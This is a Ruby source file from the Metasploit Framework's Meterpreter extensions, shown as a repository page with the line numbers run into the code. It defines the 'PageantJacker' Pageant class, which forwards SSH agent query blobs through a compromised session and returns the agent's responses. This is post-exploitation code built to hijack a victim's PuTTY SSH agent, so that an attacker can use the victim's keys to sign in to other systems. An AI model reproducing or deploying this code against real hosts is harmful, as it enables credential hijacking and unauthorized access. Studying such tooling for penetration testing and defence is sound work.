Path: blob/master/lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb
19813 views
# -*- coding: binary -*-12module Rex3module Post4module Meterpreter5module Extensions6module Extapi7module Pageant89###10# PageantJacker extension - Hijack and interact with Pageant11#12# Stuart Morgan <[email protected]>13#14###15class Pageant16def initialize(client)17@client = client18end1920def forward(blob, size)21return nil unless size > 0 && blob.size > 02223packet_request = Packet.create_request(COMMAND_ID_EXTAPI_PAGEANT_SEND_QUERY)24packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANT_SIZE_IN, size)25packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANT_BLOB_IN, blob)2627response = client.send_request(packet_request)28return nil unless response2930{31success: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_STATUS),32blob: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_RETURNEDBLOB),33error: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_ERRORMESSAGE)34}35end3637attr_accessor :client38end3940end41end42end43end44end45end464748